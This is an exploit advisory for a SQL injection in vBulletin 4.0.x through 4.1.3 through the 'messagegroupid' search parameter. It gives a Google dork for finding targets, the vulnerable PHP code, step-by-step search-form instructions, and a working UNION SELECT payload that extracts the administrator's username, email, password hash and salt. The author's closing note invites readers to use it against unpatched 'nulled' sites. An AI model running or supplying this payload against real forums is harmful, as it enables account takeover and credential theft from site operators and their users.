Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

Saturday, August 6, 2011

# Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S   
# Software Link: [[url]http://www.vbulletin.com/][/url]
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : [[url]http://members.vbulletin.com/][/url]
 
######################################################################################################
Vulnerability:
######################################################################################################
 
Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.
 
#####################################################################################################
Vulnerable Code:
#####################################################################################################
 
File:    /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid
 
 
 
         
        if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)
 
        {
 
            $value = $registry->GPC['messagegroupid'];
 
            if (!is_array($value))
 
            {
 
                $value = array($value);
 
            }
 
 
 
            if (!(in_array(' ',$value) OR in_array('',$value)))
 
            {
 
                if ($rst = $vbulletin->db->query_read("
 
                    SELECT socialgroup.name
 
                    FROM " . TABLE_PREFIX."socialgroup AS socialgroup
 
--->                 WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")
 
                 
            }
 
 
 
############################################################################################
Exploitation:
############################################################################################
Post data on: -->search.php?search_type=1
          --> Search Single Content Type
 
Keywords :   Valid Group Message
 
Search Type : Group Messages
 
Search in Group : Valid Group Id
 
&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
 
##########################################################################################
More Details:
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Http://www.Garage4Hackers.com
http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day
 
 
###########################################################################################
Note:
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Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there.

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